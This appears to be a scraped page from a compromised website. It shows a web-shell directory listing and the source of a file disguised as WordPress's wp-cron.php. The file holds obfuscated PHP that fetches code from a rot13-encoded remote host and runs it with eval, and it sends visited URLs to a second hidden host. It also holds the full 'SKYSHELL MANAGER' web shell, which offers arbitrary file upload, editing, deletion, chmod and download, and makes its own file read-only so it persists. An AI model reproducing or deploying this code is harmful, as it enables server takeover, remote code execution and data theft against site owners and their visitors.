golden hour

/home/godaofbq/oxygenhyperbaric.com/cgi-bin

File/Folder	Size	Actions
.htaccess	197 B
config.php	6.83 KB
data.php	6.83 KB
system.php	6.83 KB
users.php	6.83 KB
wp-blog-header.php	2.74 KB
wp-cron.php	9.57 KB
wp-signup.php	6.83 KB

Edit: wp-cron.php

<?php
 goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: }
?><?php
$O00OO0=urldecode("%63%68%6d%6f%64");
$O00OO0(__FILE__, 0444); 
$V1=[$O00OO0,'realpath','getcwd','basename','move_uploaded_file','file_exists','mkdir','file_put_contents','rename','dirname','chmod','octdec','unlink','rmdir','header','urlencode','is_dir','scandir','usort','fileperms','filesize','round','htmlspecialchars','file_get_contents','phpversion'];

// Path Handling Fix
$P1 = isset($_GET['path']) ? $V1[1]($_GET['path']) : $V1[2]();
if(!$P1 || $P1 == "") { $P1 = $V1[2](); }

// Parent Directory Lock Logic (0555)
$current_file_path = $V1[1](__FILE__);
if ($current_file_path) {
    $current_dir = $V1[9]($current_file_path);
    $parent_dir = $V1[9]($current_dir);
    if($parent_dir && $V1[16]($parent_dir) && $parent_dir !== $current_dir){
        @$V1[10]($parent_dir, 0555); 
    }
}

$M1="";
if($_SERVER['REQUEST_METHOD']==='POST'){
    if(isset($_FILES['file'])){if($V1[4]($_FILES['file']['tmp_name'],$P1.DIRECTORY_SEPARATOR.$V1[3]($_FILES['file']['name'])))$M1="File uploaded!";}
    if(isset($_POST['newfolder'])){$F1=$P1.DIRECTORY_SEPARATOR.$_POST['newfolder'];if(!$V1[5]($F1)){$V1[6]($F1);$M1="Folder created!";}}
    if(isset($_POST['newfile'])){$F2=$P1.DIRECTORY_SEPARATOR.$_POST['newfile'];if(!$V1[5]($F2)){$V1[7]($F2,'');$M1="File created!";}}
    if(isset($_POST['old_name'],$_POST['new_name'])){if($V1[8]($_POST['old_name'],$V1[9]($_POST['old_name']).DIRECTORY_SEPARATOR.$_POST['new_name']))$M1="Renamed!";}
    if(isset($_POST['chmod_file'],$_POST['chmod_value'])){if($V1[5]($_POST['chmod_file'])){$V1[10]($_POST['chmod_file'],$V1[11]($_POST['chmod_value']));$M1="Permissions changed!";}}
    if(isset($_POST['edit_file_path'],$_POST['edited_content'])){if($V1[5]($_POST['edit_file_path'])){$V1[10]($_POST['edit_file_path'],0644);$V1[7]($_POST['edit_file_path'],$_POST['edited_content']);$V1[10]($_POST['edit_file_path'],0444);$M1="Updated!";}}
}

if(isset($_GET['delete'])){$T1=urldecode($_GET['delete']);if($V1[5]($T1)){if($V1[16]($T1)){$V1[13]($T1);}else{$V1[12]($T1);}$V1[14]("Location: ?path=".$V1[15]($V1[9]($T1)));exit;}}
if(isset($_GET['download'])){$D1=$_GET['download'];if($V1[5]($D1)){$V1[14]('Content-Type: application/octet-stream');$V1[14]('Content-Disposition: attachment; filename="'.$V1[3]($D1).'"');readfile($D1);exit;}}

$fs = ($V1[5]($P1) && $V1[16]($P1)) ? $V1[17]($P1) : [];
if(!empty($fs)){
    $V1[18]($fs,function($a,$b)use($P1,$V1){return $V1[16]($P1.DIRECTORY_SEPARATOR.$b)-$V1[16]($P1.DIRECTORY_SEPARATOR.$a);});
}
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ</title><style>body{background-color:#111;color:#0f0;font-family:Arial;padding:20px;}h2{text-align:center;font-size:36px;background:linear-gradient(90deg,#f00,#ff0,#0f0,#0ff,#00f);background-size:200%;color:transparent;-webkit-background-clip:text;animation:g 3s linear infinite;}@keyframes g{0%{background-position:200% 0%}50%{background-position:0% 100%}100%{background-position:200% 0%}}.php-v{position:absolute;top:10px;right:20px;font-size:14px;color:#0ff}a{color:#6cf;text-decoration:none}table{width:100%;border-collapse:collapse;margin-top:20px}th,td{padding:10px;border:1px solid #333}tr:hover{background-color:#32CD32 !important; color:#000 !important;}tr:hover td span{color:#000 !important; font-weight:bold;}tr:hover td a{color:#000 !important; font-weight:700}.act-c{text-align:right}input,button,textarea{background:#222;color:#0f0;border:1px solid #444;padding:5px 10px;margin:5px 0}.msg{color:#32CD32;background-color:#222;padding:10px;text-align:center;margin:20px 0}.u-c{display:flex;justify-content:space-between;align-items:center}.emoji{color:#fff}.p-d a{color:#fff;text-decoration:none}.p-d a:hover{text-decoration:underline}</style></head><body>
<h2><span class="emoji">📁</span> ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ <span class="php-v">PHP v<?= $V1[24](); ?></span></h2>
<?php if($M1): ?><div class="msg"><?= $M1 ?></div><?php endif; ?>
<div class="u-c"><div><form method="post"><input type="text" name="newfolder" placeholder="Folder"><button type="submit">Create</button></form><form method="post"><input type="text" name="newfile" placeholder="File"><button type="submit">Create</button></form></div><div><form method="post" enctype="multipart/form-data"><input type="file" name="file" onchange="this.form.submit()"></form></div></div>

<p class="p-d"><b>Path:</b><?php 
$path_parts = explode(DIRECTORY_SEPARATOR, $P1);
$accumulated_path = "";
foreach ($path_parts as $key => $part) {
    if ($part === "" && $key === 0) {
        $accumulated_path = DIRECTORY_SEPARATOR;
        echo "<a href='?path=".$V1[15]($accumulated_path)."'>root</a>/";
        continue;
    }
    if ($part === "") continue;
    if (DIRECTORY_SEPARATOR === '\\') {
        $accumulated_path .= ($accumulated_path === "" ? "" : DIRECTORY_SEPARATOR) . $part;
    } else {
        $accumulated_path .= DIRECTORY_SEPARATOR . $part;
    }
    echo "<a href='?path=".$V1[15]($accumulated_path)."'>$part</a>/";
} 
?></p>

<table><tr><th>Name</th><th>Size</th><th>Perm</th><th>Actions</th></tr>
<?php foreach($fs as $f){if($f=='.' || $f=='..')continue;$fl=$P1.DIRECTORY_SEPARATOR.$f;$id=$V1[16]($fl);$pm=substr(sprintf('%o',$V1[19]($fl)),-4);$sz=$id?'-':$V1[21]($V1[20]($fl)/1024,2).' KB';
if($pm == '0444' || $pm == '0555' || $pm == '0400') { $cl = 'style="color:#f00;font-weight:bold;"'; } else { $cl = 'style="color:#0f0;font-weight:bold;"'; }
echo "<tr><td>".($id?"📁":"📄")." <a href='?path=".$V1[15]($fl)."'>$f</a></td><td>$sz</td><td><span $cl>$pm</span></td><td class=\"act-c\"><a href='?delete=".$V1[15]($fl)."' onclick=\"return confirm('?')\">🗑️</a> <a href='?rename=".$V1[15]($fl)."'>🏷️</a> ".(!$id?"<a href='?path=".$V1[15]($P1)."&download=".$V1[15]($fl)."'>⬇️</a> <a href='?edit=".$V1[15]($fl)."'>✏️</a>":"")." <form method='post' style='display:inline;'><input type='hidden' name='chmod_file' value='$fl'><input type='text' name='chmod_value' placeholder='P' style='width:30px;'><button type='submit'>🔒</button></form></td></tr>";} ?>
</table>
<?php if(isset($_GET['rename'])): $t=$_GET['rename']; ?><div style="margin-top:20px;border:1px solid #444;padding:15px;"><h3 style="color:#fff;">Rename: <?= $V1[3]($t) ?></h3><form method="post" action="?path=<?= $V1[15]($P1) ?>"><input type="hidden" name="old_name" value="<?= $V1[22]($t) ?>"><input type="text" name="new_name" value="<?= $V1[22]($V1[3]($t)) ?>"><button type="submit">OK</button></form></div><?php endif; ?>
<?php if(isset($_GET['edit'])&&is_file($_GET['edit'])): $te=$_GET['edit'];$c=$V1[22]($V1[23]($te)); ?><h3 style="color:#fff;">Edit: <?= $V1[3]($te) ?></h3><form method="post" action="?path=<?= $V1[15]($V1[9]($te)) ?>"><input type="hidden" name="edit_file_path" value="<?= $V1[22]($te) ?>"><textarea name="edited_content" rows="15" style="width:100%"><?= $c ?></textarea><br><button type="submit">Save</button></form><?php endif; ?>
</body></html>